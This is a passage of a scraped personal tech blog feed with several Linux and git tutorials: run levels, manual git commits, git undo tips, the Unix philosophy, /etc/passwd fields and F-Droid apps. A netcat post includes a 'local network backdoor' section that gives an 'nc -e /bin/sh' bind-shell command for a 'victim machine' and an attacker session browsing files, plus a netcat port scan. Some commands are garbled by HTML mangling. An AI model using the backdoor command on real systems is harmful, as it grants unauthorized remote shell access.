is now booted, and proceeds depending on the run level it&#8217;s been set for.</div><div style="text-align: left;"></div><div style="text-align: left;">You can get more information about the <a href="http://www.tldp.org/LDP/sag/html/run-levels-intro.html#RUN-LEVELS-TABLE" target="_blank">run levels here</a>. For an excerpt</div><div style="text-align: left;"><span style="font-family: Times,&quot;Times New Roman&quot;,serif;"><br />0 - Halt the system.</span></div><div style="text-align: left;"><span style="font-family: Times,&quot;Times New Roman&quot;,serif;">1 - Single-user mode (for special administration).</span></div><div style="text-align: left;"><span style="font-family: Times,&quot;Times New Roman&quot;,serif;">2 - Local Multiuser with Networking but without network service (like NFS)</span></div><div style="text-align: left;"><span style="font-family: Times,&quot;Times New Roman&quot;,serif;">3 - Full Multiuser with Networking</span></div><div style="text-align: left;"><span style="font-family: Times,&quot;Times New Roman&quot;,serif;">4 - Not Used</span></div><div style="text-align: left;"><span style="font-family: Times,&quot;Times New Roman&quot;,serif;">5 - Full Multiuser with Networking and X Windows(GUI)</span></div><div style="text-align: left;"><span style="font-family: Times,&quot;Times New Roman&quot;,serif;">6 - Reboot.</span></div></div></div>
<img src="http://feeds.feedburner.com/~r/BeatOfTheGeek/~4/gNFR2dzbGuk" height="1" width="1" alt=""/>http://\.github.io/\/github/2014/01/linux-boot-process-real-quick-walkthrough.html2014-01-10T00:00:00+05:30http://.github.io/\/github/2014/01/git-commit-illustrated-simplicity<div class='post'>
<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="http://4.bp.blogspot.com/-2hJwSV2bj7I/Us-k_1d6bnI/AAAAAAAAAlQ/FplZr00hLCk/s1600/46.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="http://4.bp.blogspot.com/-2hJwSV2bj7I/Us-k_1d6bnI/AAAAAAAAAlQ/FplZr00hLCk/s1600/46.png" height="236" width="400" /></a></div>In this post I will try to explain the underlying commands and to a level the internal working of the git system involved when making a &#8216;commit&#8217;.<br />This post is actually the by-product of my research for another post about git (.git/ actually). I was so much astonished by the amount of myths about complexity of git system removed from my mind, that I decided to make it the today&#8217;s post itself. To me the git system appears much simple now than yesterday.<br /><h3 style="text-align: left;">Commit </h3>Commit is the central piece of the git system. The git world is simply a collection of commit objects, each of which hold a tree, which hold references to other trees and blobs. The branches, the tags, the HEAD are just fancy aliases for commits (more on these in some other post (next may be)).<br />A commit is basically the snapshot of present working tree. I will spare the details for a future post (it&#8217;s worth it).<br /><br />Let&#8217;s now discuss what this post is about. Revealing the secrets involved in every git users ritual of &#8216;commit&#8217;ing, and performing a commit manually.<br /><br /><!-- more -->This should reveal quite some details about the internal working of git (no you don&#8217;t need to run away, it&#8217;s not that deep).<br /><br />You might already know the concepts, but knowing sex and having sex are kind of different things.<br /><br />Ok! Let&#8217;s start the <b>exercise for manual commit</b>.<br /><br />First we need to create an empty directory, call it &#8216;work&#8217;. And some simple file in it.<br /><blockquote class="tr_bq">=&gt; mkdir work<br />=&gt; echo &#8220;Hello world!&#8221; &gt; hello_world</blockquote>Initiate a git repo in it and add the &#8216;hello_world&#8217; file<br /><blockquote class="tr_bq">=&gt; git init</blockquote>We will keep an eye on the changes that happen in the &#8216;.git&#8217; repo throughout our exercise. For now check out what&#8217;s saved in the HEAD.<br /><blockquote class="tr_bq">=&gt; cat .git/HEAD<br />=&gt; ref: refs/heads/master</blockquote>As HEAD is basically just a reference to the commit which represents the current commit associated with the working tree. So one might guess .git/refs/heads/master would point to the tip of a branch. Let&#8217;s check it <br /><blockquote class="tr_bq">=&gt; ls .git/refs/heads/master<br />=&gt; <br />=&gt; git branch<br />=&gt;</blockquote>There is nothing in there. Since we have not committed any commits yet, there are no branches (since branches are merely named commits which happen to have multiple child commits).<br />If you are feeling adventurous, you can try &#8216;git log&#8217;.<br /><blockquote class="tr_bq">=&gt; git log<br />=&gt; fatal: bad default revision &#8216;HEAD&#8217;</blockquote>Let&#8217;s now <b>add our file to the staging area</b><br /><blockquote class="tr_bq">=&gt; git add hello_world</blockquote><blockquote class="tr_bq"><b>Staging area is the middle system which keeps our content after &#8216;git add&#8217; and before &#8216;git commit&#8217;</b></blockquote><blockquote class="tr_bq">&nbsp;<b>A blob is the git&#8217;s representation of a file. It&#8217;s not actually a file, but just the content. A blob do not have any name or other metadata. It&#8217;s referenced in trees which contain metadata for blobs.<br />Tree is the object which stores references to other trees and blobs as leaf nodes.</b></blockquote>This command converted content of &#8216;hello_world&#8217; file into a blob and placed it in the index (aka staging area). A &#8216;blob&#8217; is how our content is represented in git. You can check the .git dir, a new file &#8216;index&#8217; is created. This file contain the references to all blobs and trees which get added to our staging area.<br /><blockquote class="tr_bq">=&gt; ls .git<br />=&gt; branches&nbsp; config&nbsp; description&nbsp; HEAD&nbsp; hooks *index*&nbsp; info&nbsp; objects&nbsp; refs</blockquote>At this point we would generally just &#8216;commit&#8217; the &#8216;index&#8217;, but not this time. The &#8216;git commit&#8217; command hides many details and is a great convenience. You&#8217;ll value it after this exercise.<br /><br />Git store all our content in form of blobs. The blobs do not have any kind of meta-data attached with them (like name, creation date or something). They are just nameless &#8216;blobs&#8217;. To identify a blob, they are saved in &#8216;trees&#8217; as leaf nodes. Different trees can save reference to same blob with different meta-data attached. But a git repository will have exactly one copy of a blob. This is the reason of compact storage of git.<br /><br />We can see the blob for our content in &#8216;hello world&#8217; present in staging area (index)<br /><blockquote class="tr_bq">=&gt; git ls-files &#8211;stage<br />=&gt; 100644 802992c4220de19a90767f3000a79a31b98d0df7 0&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; hello_world</blockquote>If you entered the same content as me, both your and my hashes should be same. We can check what type of object the above hash belong to<br /><blockquote class="tr_bq">=&gt; git cat-file -t 802992c<br />=&gt; blob</blockquote>The above blob is not referenced by any tree. It&#8217;s only referenced from .git/index (which store references to objects (blobs and trees) which make up our staging area).<br />&nbsp;A &#8216;commit&#8217; object in git holds a single tree. A tree may have references to more trees or blobs. So to &#8216;commit&#8217; the above created blob of our content, we need a tree. <br /><br />So we now need to create a tree. <br /><blockquote class="tr_bq">=&gt; git write-tree<br />=&gt; cdbf8e1f00e97366e01cbf2d73f3689a60107686</blockquote>&#8216;write-tree&#8217; command make a tree with the contents of the &#8216;index&#8217;.<br />Now when we have the tree, let&#8217;s create a commit object with it.<br /><blockquote class="tr_bq">=&gt; echo &#8220;Initial commit&#8221; | git commit-tree cdbf8e1<br />=&gt; a5a86835ba72e3ca7d5267c68c06c212392f9b7d</blockquote>That&#8217;s the hash for our commit object. You directly use &#8216;git commit <tree-hash>&#8217;. Then the command will wait for the commit message to be entered and &#8216;ctrl-d&#8217; for proceeding.</tree-hash><br /><br />So our commit object is ready, and we are done. Right? Not actually. What we have created is called an &#8216;unreachable commit&#8217;. <br /><b>An unreachable commit</b> is a commit which do not have any parents and which is not referenced by any of the files in .git/refs/heads/. Such commits are automatically removed by the git system after some time.<br />&nbsp;To make our commit reachable, we need to create a reference in a file in .git/refs/heads. <br /><blockquote class="tr_bq">=&gt; echo a5a86835ba72e3ca7d5267c68c06c212392f9b7d &gt; .git/refs/heads/hello</blockquote>Actually we should instead use the more safe way to update references in git system.<br /><blockquote class="tr_bq">=&gt; git update-refs refs/head/hello a5a86835ba72e3ca7d5267c68c06c212392f9b7d</blockquote>Here if we had used name &#8216;master&#8217; instead of &#8216;hello&#8217;, we could have used &#8216;git log&#8217;. But now it&#8217;s still giving &#8216;fatal:&#8217; because the HEAD is referring to &#8216;refs/heads/master&#8217; which does not exist.<br /><br />Now try the command &#8216;git branch&#8217;.<br /><blockquote class="tr_bq">=&gt; git branch <br />=&gt; hello</blockquote>Here we see what a branch actually is to git. A reference to a &#8216;commit&#8217; object.<br />Wait there is more to it. Now when we have created the branch &#8216;hello&#8217;, we need to make HEAD refer to it. <br /><blockquote class="tr_bq">=&gt; git symbolic-ref HEAD refs/heads/hello</blockquote>This command associated our working tree with the newly created branch/commit of ours. This is what actually happens on a checkout normally.<br />Now we can use &#8216;git log&#8217;. If you are using &#8216;zsh&#8217; with appropriate theme, at this point the git branch indicator will change form uncommitted &#8216;master&#8217; to committed &#8216;hello&#8217;.<br /><br />Now we are done. Officially. Git system is this frighteningly simple inside. Hope this was as helpful for you as it was for me. I really enjoyed writing this post.</div></div>
<img src="http://feeds.feedburner.com/~r/BeatOfTheGeek/~4/mPo7tXkvN-o" height="1" width="1" alt=""/>http://\.github.io/\/github/2014/01/git-commit-illustrated-simplicity.html2014-01-09T00:00:00+05:30http://.github.io/\/github/2014/01/5-cool-things-to-do-with-netcat<div class='post'>
<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="http://4.bp.blogspot.com/-RJa66jJ6HHI/Us41fwVnz9I/AAAAAAAAAlA/WYM1w7SnfGE/s1600/46.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="236" src="http://4.bp.blogspot.com/-RJa66jJ6HHI/Us41fwVnz9I/AAAAAAAAAlA/WYM1w7SnfGE/s1600/46.png" width="400" /></a></div>I heard somewhere about &#8216;netcat&#8217; being the swiss-army-knife for networking. Looking through its man pages I tried many commands as I could understand them, but still remained unimpressed. But so many wise people calling netcat &#8216;the awesome&#8217; can&#8217;t be wrong, right! So I went through lengths and surfed&nbsp; the Internets, grep&#8217;d some ebooks on networking, re-read its man pages and forced myself to get impressed. <br />Here is a list of cool things I could figure out to be done with netcat. I am sure there are more my puny brain couldn&#8217;t discover. Hugs and kisses for all (females) who will tell &#8216;em in comments.<br /><!-- more --><br /><h2 style="text-align: left;">Banner grabbing / Displaying user-agent for the request</h2><blockquote class="tr_bq">&nbsp;netcat -lp 6969</blockquote>So basically netcat is &#8216;cat&#8217; for the net(work). It directly reads and writes data over the network. Sounds good for peeking at &#8216;HTTP&#8217; headers? To me at least. This is the only thing I use netcat for on daily basis. Many of my tasks involve making crawlers, and netcat is the first tool I use for exploring how my crawlers behave to servers.<br />Most of the times I am interested in inspecting the &#8216;User Agent&#8217; header, but above command dumps a lot more information about the HTTP headers.<br />Here&#8217;s an excerpt:<br /><blockquote class="tr_bq">GET / HTTP/1.1<br />Host: 127.0.0.1:9999<br />Accept-Language: en<br />Accept-Encoding: x-gzip,gzip,deflate<br />Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8<br />User-Agent: Scrapy/0.20.0 (+http://scrapy.org)</blockquote><h2 style="text-align: left;">Using netcat as a port scanner</h2><blockquote class="tr_bq">nc -zp 9090 localhost 8000-9000 -v</blockquote>Netcat can help in finding out the open ports on our machine. Yes and yes. There are better tools available for this job and they are more efficient. I can&#8217;t guess why to nc for this. May be because it can be used like this, or because netcat is installed by default on most machines and nmap is not.<br />Here&#8217;s an excerpt when a &#8216;twisted&#8217; http server was running on my machine.<br /><blockquote class="tr_bq">localhost [127.0.0.1] 8080 (http-alt) open</blockquote><h2>Netcat as a simple local network backdoor</h2>This is another one of my favorites. Making backdoors was never this simple. Although this only worked on local network, but it&#8217;s kind of cool. I think with little more effort this can be made to work from outside the LAN as well, may with tunneling (nc -L) or something. I am too tired to do any more research. Please enlighten me if you can do it. Here&#8217;s how I did it on my LAN.<br /><h4 style="text-align: left;">On victim machine run</h4><blockquote class="tr_bq">&nbsp;nc -e &#8220;/bin/sh&#8221; 127.0.0.1 -lp 8080</blockquote>&#8216;nc -e&#8217; executes any program on the local machine. I tried running python and ruby scripts, and even installing software with &#8216;pacman&#8217; by running similar command on one machine and then making a request with &#8216;curl&#8217; and even with firefox from other machine.<br /><h4 style="text-align: left;">On attacker machine send commands with</h4><blockquote class="tr_bq">nc <command></command><command></command><br />e.g nc ls -a</blockquote>This will run a session in which a command is executed and its stdout shown. Here&#8217;s an excerpt from one of those I tried.<br /><br /><blockquote class="tr_bq">nc 127.0.0.1 8080</blockquote><blockquote>echo $SHELL<br />/bin/zsh<br />whoami<br />channi<br />pwd&nbsp; <br />/home/channi<br />ls /media/<br />E<br />F<br />cd /media/E<br />pwd<br />/media/E<br />ls<br />e Books<br />Games<br />Images<br />Movies<br />Music</blockquote><h2 style="text-align: left;">Using netcat as a single request web server</h2><blockquote class="tr_bq">{ echo -ne &#8220;HTTP/1.0 200 OK\r\nContent-Length: $(wc -c <some -l="" -p="" .file="" 8080="" br="" cat="" n="" nc="" r="" some.file=""></some></blockquote>You don&#8217;t need to be a $BASH wiz to understand this one. It simply outputs the basic HTTP headers and calculated content length of a file to the netcat which then listens on port 8080. It gets served to whoever reaches localhost:8080 first. Yup! First come first serve. This server works for a single request only, and I din&#8217;t try it over the Internet.&nbsp; <br /><h2 style="text-align: left;">Using netcat as a listener</h2><blockquote class="tr_bq">cat afile.txt | nc 127.0.0.1 9999<br />nc -l 127.0.0.1 9999 &gt; log.txt</blockquote>Netcat can be used as a listener (as it is being used in first point) and stuff can be sent over network as in commands above. The second command must be run on a recipient machine and first from sender machine. A file can be sent this way. <br /><br />Yes I din&#8217;t properly research for this post. I don&#8217;t like writing half-assed posts but I have to stay with my new-year resolution of writing a-post-a-day. All the enlightened souls please bless me with your wisdom in comments. Specially anything about making nc persist multiple requests without scripting it with bash, python or anything.</div></div>
<img src="http://feeds.feedburner.com/~r/BeatOfTheGeek/~4/XhOjDDD-zG4" height="1" width="1" alt=""/>http://\.github.io/\/github/2014/01/5-cool-things-to-do-with-netcat.html2014-01-08T00:00:00+05:30http://.github.io/\/github/2014/01/5-things-i-frequently-do-and-forget<div class='post'>
<div dir="ltr" style="text-align: left;" trbidi="on">Here are few things I used to do a lot in my starting days with git and then forgot to re-search them when needed next time. These tips are from my notes. <br /><br /><h3 style="text-align: left;">How to undo the last Git commit?</h3>There are two scenarios in this case, and hence two ways to achieve our goal.<br /><h4 style="text-align: left;">Hard Reset - Completely undo the last commit and all the changes it made.</h4><blockquote class="tr_bq">git reset &#8211;hard HEAD~1</blockquote>Imagine the state of the tree is as following:<br /><br /><blockquote>&nbsp;&nbsp; (F)<br />A-B-C<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ↑<br />&nbsp; master</blockquote><br /><!-- more --><br /><br />where (F) is the current state of files and &#8216;C&#8217; is the commit we want to undo. The above command completely removes the last commit along with all the changes involved in the commit. The new state of the tree is like this:<br /><br /><blockquote class="tr_bq">&nbsp;(F)<br />A-B<br />&nbsp;&nbsp;&nbsp; ↑<br />master</blockquote><br /><br /><blockquote class="tr_bq"><b>What is HEAD?</b><br />We can think of the HEAD as the &#8220;current branch&#8221;. HEAD is basically a pointer which points to the latest commit. When we switch branches with git checkout, the HEAD revision changes to point to the tip of the new branch.</blockquote><blockquote class="tr_bq"><b>What is HEAD~1?</b><br />It&#8217;s kind of complicated to explain HEAD~1 without explaining HEAD^1.<br />HEAD^1&nbsp; means the first parent of the commit object. ^<n> means the <n>th parent.<br />HEAD~1 means the commit object that is the first generation grand-parent of the named commit object, following only the first parents. e.g <rev>~3 is equivalent to <rev>^^^ which is equivalent to <rev>^1^1^1.</rev></rev></rev></n></n></blockquote><h4 style="text-align: left;">Undo the commit but keep the changes</h4><blockquote class="tr_bq">git reset HEAD~1</blockquote>If we want to undo the last commit for some reason (like if we entered the wrong commit message or the commit was incomplete), we can use a soft reset on HEAD.<br />In this case, the tree structure changes to something like:<br /><br /><blockquote>&nbsp;&nbsp; (F)<br />A-B-C<br />&nbsp;&nbsp; ↑<br />master</blockquote><br /><b>What&#8217;s happening?</b><br />In both cases, HEAD is just a pointer to the latest commit. When we do a git reset HEAD~1, we tell Git to move the HEAD pointer back one commit. But (unless we use &#8211;hard) we leave your files as they were. So now git status shows the changes you had checked into C. You haven&#8217;t lost a thing!<br /><h3 style="text-align: left;">How to change the commit message of last commit</h3><blockquote class="tr_bq">git reset &#8211;soft HEAD~1</blockquote>Using this command we undo the last commit but keep the files as well as the index untouched. This means we can just recommit with no extra effort as a new commit with a new commit message.<br /><br /><b>What&#8217;s happening here?</b><br />Same as first point. But it leaves the files as well as the index unchanged, so we just need to &#8216;commit&#8217; again with a new commit message.<br /><h3 style="text-align: left;">How to get a commit back after &#8216;reset &#8211;hard&#8217;</h3>In the first point, we undid the previous commit permanently(?). Sometimes (read often) it happens that we need the destroyed commit back. Following commands can be used to resurrect the destroyed commit.<br /><blockquote class="tr_bq">git reflog </blockquote>This command shows a list of partial commit shas. We need to choose the commit we want to restore from this list and use following command.<br /><blockquote class="tr_bq">git checkout -b someNewBranchName shaOfDestroyedCommit</blockquote>This will create a new branch and restore the destroyed commit in it, which we can re-merge as required.<br /><br /><b>What&#8217;s happening here?</b><br />Commits don&#8217;t actually get destroyed in git for about 90 days. So usually we can go back and restore commits with method explained above.<br /><h3 style="text-align: left;">How to remove a git submodule?</h3><blockquote class="tr_bq">Git submodule?</blockquote>Submodules allow foreign repositories to be embedded within a dedicated subdirectory of the source tree, always pointed at a particular commit. Submodules are meant for different projects you would like to make part of your source tree, while the history of the two projects still stays completely independent and you cannot modify the contents of the submodule from within the main project.<br /><h4 style="text-align: left;">Removing a git submodule</h4>Git submodules can simply be removed with &#8216;git rm&#8217;, but that keeps the submodule entry intact in the .git/config and .gitmodules. There is actually an easier way to remove submodules with a single command.<br /><blockquote class="tr_bq">git submodule deinit <submodule name=""><br /></submodule></blockquote>This is in comprehension to &#8216;git submodule init&#8217; command and does all the submodule removal work itself.<br /><h3 style="text-align: left;">How to delete a remote git branch?</h3>&nbsp;This one is easy. We just need one command to delete a remote branch.<br /><blockquote class="tr_bq">git push origin &#8211;delete <branchname><br /></branchname></blockquote>To remove a local branch, we can of course use<br /><blockquote class="tr_bq">git branch -d <localbranch><br /></localbranch></blockquote><br /></div></div>
<img src="http://feeds.feedburner.com/~r/BeatOfTheGeek/~4/unNxZDg8rz8" height="1" width="1" alt=""/>http://\.github.io/\/github/2014/01/5-things-i-frequently-do-and-forget.html2013-12-22T00:00:00+05:30http://.github.io/\/github/2013/12/yet-another-post-about-unix-philosophy<div class='post'>
<div dir="ltr" style="text-align: left;" trbidi="on"><br /><div class="separator" style="clear: both; text-align: center;"><a href="http://izquotes.com/quotes-pictures/quote-the-unix-philosophy-basically-involves-giving-you-just-enough-rope-to-hang-yourself-and-then-a-anonymous-293194.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="150" src="http://izquotes.com/quotes-pictures/quote-the-unix-philosophy-basically-involves-giving-you-just-enough-rope-to-hang-yourself-and-then-a-anonymous-293194.jpg" width="320" /></a></div>I have a recently started a minor Linux Users Group with some people in my locality. One question that I&#8217;ve been answering frequently is &#8216;what is this &#8220;unix philosophy&#8221;?<br />Am writing this post as a quick answer for this question.<br /><br /><b>Some history of the unix philosophy</b><br /><br />Unix philosophy or the unix tools philosophy emerged when the UNIX operating system was created. Or to be more precise, when the pipes &#8216;|&#8217; were invented. The pipes allow output from one command to be sent to another command as input.<br />e.g <br /><blockquote class="tr_bq">ps -A | grep firefox</blockquote>The output from the ps command, list of all running applications is passed to the &#8216;grep&#8217; utility which searches for the line having the word &#8216;firefox&#8217;, and prints it. Pipes are really handy. Really.<br /><br />The philosophy lead by this invention was to create small tools which would do a particular job&nbsp; instead of creating big programs that do many things.<br />For example tools like grep, or wc. They exist for one and only one task (searching and counting).<br /><br />These small tools could then be used together with the help of pipes to accomplish more complex tasks.<br /><br />It was revolutionary. This philosophy avoided programmers from re-creating small subsystems of their software which could now be replaced by a small tool invented by someone else.<br /><br />So this why <b>the philosophy says</b><br /><blockquote class="tr_bq">&#8216;Do one thing, and do it perfectly well&#8217;</blockquote></div></div>
<img src="http://feeds.feedburner.com/~r/BeatOfTheGeek/~4/ydv8W-q83fw" height="1" width="1" alt=""/>http://\.github.io/\/github/2013/12/yet-another-post-about-unix-philosophy.html2013-12-22T00:00:00+05:30http://.github.io/\/github/2013/12/etcpasswd-illustrated<div class='post'>
<div dir="ltr" style="text-align: left;" trbidi="on"><h1 id="etcpasswd_illustrated"></h1><div class="separator" style="clear: both; text-align: center;"><a href="http://1.bp.blogspot.com/-dtO8EFBJ8AI/Uldeu-QcfvI/AAAAAAAAAis/y8i9xXh03h0/s1600/passwd.png" imageanchor="1" style="clear: right; float: right; margin-bottom: 1em; margin-left: 1em;"><img border="0" height="200" src="http://1.bp.blogspot.com/-dtO8EFBJ8AI/Uldeu-QcfvI/AAAAAAAAAis/y8i9xXh03h0/s200/passwd.png" width="200" /></a></div><i>etc/passwd file is is located, well, in /etc directory. /etc</i> stores most of the system level configurations for a typical UNIX(-like) system. There are more than one ways to do something on a UNIX(-like) system. We’ll discuss about some commands no the way which can be used to do stuff we gonna do by tinkering with /etc/passwd in this post. So let’s talk less and discuss something about the /etc/passwd without loosing time.<br /><h3 id="why_do_etcpasswd_exist" style="text-align: left;">&nbsp;</h3><h3 id="why_do_etcpasswd_exist" style="text-align: left;">Why do /etc/passwd exist?</h3><br />So the first question that would come in a mortal mind is ‘what for?’. Why do /etc/passwd even exist? It saves the information about all the users on a system. Original use of this file was to store almost all the data related to a user, including passwords. May be that’s the reason behind its name. But don’t worry, passwords are no longer stored as plain text in this file. More on this in later sections.<br /><h3 id="structure_of_etcpasswd" style="text-align: left;">&nbsp;<!-- more --></h3><h3 id="structure_of_etcpasswd" style="text-align: left;">Structure of /etc/passwd</h3><br />If you are on a GNU/Linux or similar system right now, you can take a look at it. User info is stored in this file in single lines, new lines for different users, with colons(’:’) as the separating character. Quick, run this command:<br /><blockquote>head -n 1 /etc/passwd</blockquote>This will get you the first line of the file. If you do ‘cat /etc/passwd’, you will see there are many lines. More than the users you have made. Linux (and other Unix like systems) make users for running some special processes which need some certain set of special permissions. If you want to look which is the line for you (the presently logged in user that is), run this<br /><blockquote>cat /etc/passwd | grep username</blockquote>On my system, it look like this:<br /><blockquote><blockquote>channi:x:1000:100:Charanjit Singh,Beat of the Geek:/home/channi:/bin/zsh</blockquote></blockquote>Different fields of the file are separated by colons(’:’). If you count, there are 7 columns in total. Lets discuss them all.<br /><h3 id="first_column_of_etcpasswd" style="text-align: left;">&nbsp;</h3><h3 id="first_column_of_etcpasswd" style="text-align: left;">First column of /etc/passwd</h3><br />It’s your login name. The name you enter when you login to the system (or choose from the GUI). Yes, your login name will change if you change the /etc/passwd file here. There are many ways of changing things in GNU/Linux, and most of the times they are different commands which change the underlying configuration files like this one.<br /><h2 id="alternative_command_for_changing_the_login_name" style="text-align: left;">&nbsp;</h2><h2 id="alternative_command_for_changing_the_login_name" style="text-align: left;">Alternative command for changing the login name</h2><br /><b>usermod -l NEWNAME</b> oldname<br /><br />Some system (including Ubuntu) offer another command for making changes to user info. To your surprise, it’s called <b>moduser</b> The difference b/w usermod and moduser is that of sophistication. Which one is more sophisticated is arguable though. usermod uses flags to set different information, and moduser provide an interface which ask you for the information in a menu like manner. Try them yourself.<br /><h3 id="second_column_of_etcpasswd" style="text-align: left;">&nbsp;</h3><h3 id="second_column_of_etcpasswd" style="text-align: left;">Second column of /etc/passwd</h3><br />That’s your login password. Surprised? Your actual password is not stored in this file actually. It’s not secure to store it in plain text here, or even in ciphered form. Many programs need access to this file for read purposes. Did you notice you didn’t need to enter root password for reading /etc/passwd? So where is the password stored in Linux? Your real password is ciphered with a secure one-way encryption algorithm and is stored in a shadow file (/etc/shadow). Try to do ‘cat’ on it. Yes you can’t. And that is justifiable. If you cat it with root password, you will see login names and a jumbled word in front of them. That’s the ciphered password. We’ll probably discuss them some other day. So since the password is not stored here, we can’t do anything about it by editing /etc/passwd, right? Not really. There is one thing we can do. If you change the ‘x’ in there with an asterisk ’*’, the account gets disabled and can’t be used. Actually if you change that ‘x’ (or if your system has some other value there), it simply won’t work. The user is greeted with charming ‘Authentication Failure’ messages.<br /><h3 id="third_column_of_etcpasswd" style="text-align: left;">&nbsp;</h3><h3 id="third_column_of_etcpasswd" style="text-align: left;">Third column of /etc/passwd</h3><br />In the third column comes user’s user id (UID you call it). A UID is a unique id assigned by the system to each user on the system. Usernames are only for humans, system itself identifies a user by its UID. You can change this number (obviously) but it’s not recommended. There are certain complications which may arise when you change the UID of a user (remember file permissions? cron tabs?). If you want to change the uid, better do it with <b>usermod -u</b>.<br /><h3 id="fourth_column_of_etcpasswd" style="text-align: left;">&nbsp;</h3><h3 id="fourth_column_of_etcpasswd" style="text-align: left;">Fourth column of /etc/passwd</h3><br />Similar to the uid, that’s the users gid (Group ID). It’s the id of primary group of the user. On most systems it is set same as the uid (not on mine though). You can change it with <b>usermod -g</b> command.<br /><blockquote><b>usermod -g</b></blockquote>If you want to know different id’s related to a user, feel free to use <b>id</b> command. It will tell you many different ids. Just type<br /><blockquote><b>id</b></blockquote>You can see different groups the user is member of with <b>groups</b> command.<br /><blockquote><b>groups</b></blockquote><h3 id="fifth_column" style="text-align: left;">&nbsp;</h3><h3 id="fifth_column" style="text-align: left;">Fifth column</h3><br />This field contains comments about a user. It’s called the <a href="http://en.m.wikipedia.org/wiki/Gecos_field">gecos field</a> and contains a comma separated list of the extra information about a user like full name, address etc. Apart from <b>usermod -c</b>, you can use <b>chfn</b> to change this field. <b>chfn</b> <i>chfn</i> is abbreviation for ‘change finger info’. Most of the information related to a user can be accessed with <b>finger</b> command. In other words, someone with access the system can finger you to get information (pun intended). Check it out: <b>&nbsp;</b><br /><br /><b>finger USERNAME</b><br /><h3 id="sixth_column" style="text-align: left;">&nbsp;</h3><h3 id="sixth_column" style="text-align: left;">Sixth column</h3><br />That’s the path to user’s home directory. It can be changed here or with <b>usermod -d</b> command. Although there are other ways of changing it (including editing /etc/passwd file), but it is recommended not to do it that way. We’ll probably discuss the complications some other day.<br /><blockquote><b>usermod -d /home/new-home USERNAME</b></blockquote><h3 id="seventh_column" style="text-align: left;">&nbsp;</h3><h3 id="seventh_column" style="text-align: left;">Seventh column</h3><br />That’s the final column of the /etc/passwd file. It contains the shell for the users. Actually it’s the path to a program which is executed everytime a user logs in to the system. For the normal users it is a shell. It can be safely changed here or with <b>usermod -s</b>. Another quick command for changing default shell for a user is <b>chsh</b>.<br /><blockquote><b>chsh</b></blockquote></div></div>
<img src="http://feeds.feedburner.com/~r/BeatOfTheGeek/~4/Qj-bBIOUXsA" height="1" width="1" alt=""/>http://\.github.io/\/github/2013/12/etcpasswd-illustrated.html2013-10-08T00:00:00+05:30http://.github.io/\/github/2013/10/foss-in-android-android-app-store-with<div class='post'>
<div dir="ltr" style="text-align: left;" trbidi="on"><span style="font-family: Arial,Helvetica,sans-serif;">Android as Google claims is not a completely open platform. Mozilla has launched their own initiative to provide a completely open-source mobile platform with Firefox OS. I am looking forward for a switch form android when it launches in my place. But Android is not that bad. And for the open source lovers, there is a paradise yet unknown to many. There are a shit load of Android apps open-source and free. I found many of my friends unaware of them, so here I am writing this post. Google play is undoubtedly most prominent source of downloading android apps. Average android user seldom goes out to download apps despite the presence of some other quite trustworthy stores. But we are open source lovers right? And we want all open-source tools. So what do the Android world have to offer to us? It rarely happen on the Google Play store that some open source app make it to the featured list. They get lost in the crowd of all those ‘fancy’ apps.</span><br /><h2 id="fdroid_to_the_rescue"><!-- more --><span style="font-family: Arial,Helvetica,sans-serif; font-size: large;">&nbsp;</span></h2><h2 id="fdroid_to_the_rescue"><span style="font-family: Arial,Helvetica,sans-serif; font-size: large;"><a href="https://f-droid.org/">F-droid to the rescue</a></span></h2><br /><span style="font-family: Arial,Helvetica,sans-serif;">Here’s the awesome. F-droid is a repository of open source software for the Android platform. If it is open source and free (FOSS you call ‘em), you will find it on the F-droid. In their own words</span><br /><blockquote class="tr_bq"><span style="font-family: Arial,Helvetica,sans-serif;">The F-Droid Repository is an easily-installable catalogue of FOSS (Free and Open Source Software) applications for the Android platform. The server contains the details of multiple versions of each application, and the Android client makes it easy to browse, install them onto your device, and keep track of updates.</span></blockquote><span style="font-family: Arial,Helvetica,sans-serif;"><br /></span><span style="font-family: Arial,Helvetica,sans-serif;">You can visit the <a href="https://f-droid.org/">F-Droid website</a> and use their web interface to download apps and then install them on your device, or you can download and install their Android client app (yup! they nailed it). The native client for f-droid is kind of nice. I liked it. It is easy and simple, and no BS, totally no Bullshit. It downloads a list of all the apps in the repository and keeps it offline (don’t worry it’s less than an MB). So you can still browse and check the apps in the repo even when not connected to the mighty Internet. And best of all, you don’t need to register to a Google account to get those apps. They have a pretty nice tutorial and description of features on <a href="https://f-droid.org/">their home page</a>. How can I leave without giving a list of awesome and open apps. So here’s one.</span><br /><h2 id="open_source_android_apps_i_am_using"><span style="font-family: Arial,Helvetica,sans-serif;">&nbsp;</span></h2><h2 id="open_source_android_apps_i_am_using" style="text-align: left;"><span style="font-family: Arial,Helvetica,sans-serif; font-size: large;">Open source Android apps I am using</span></h2><h3 id="firefox"><span style="font-family: Arial,Helvetica,sans-serif;">&nbsp;</span></h3><h3 id="firefox"><span style="font-family: Arial,Helvetica,sans-serif;"><a href="https://f-droid.org/repository/browse/?fdcategory%3DInternet&amp;fdid%3Dorg.mozilla.firefox">Firefox</a></span></h3><span style="font-family: Arial,Helvetica,sans-serif;"><br /></span><span style="font-family: Arial,Helvetica,sans-serif;">What else? I know Mozilla people are awesome, I am a big fan of them myself. I don’t know what I can say about the awesome Firefox browser for Android, it’s plane awesome. I was using Dolphin browser prior to firefox, but it’s nowhere close to the awesomeness of Firefox.</span><br /><h3 id="ankidroid"><span style="font-family: Arial,Helvetica,sans-serif;">&nbsp;</span></h3><h3 id="ankidroid"><span style="font-family: Arial,Helvetica,sans-serif;"><a href="https://f-droid.org/repository/browse/?fdid%3Dcom.ichi2.anki&amp;fdpage%3D2">AnkiDroid</a></span></h3><span style="font-family: Arial,Helvetica,sans-serif;"><br /></span><span style="font-family: Arial,Helvetica,sans-serif;">I have literally been a big fan of spaced repetition learning for few months now. It has changed my life upside down (that’s a matter we’ll discuss some other day). It is the second most used app in my phone. Whenever I have a little spare time, I revise 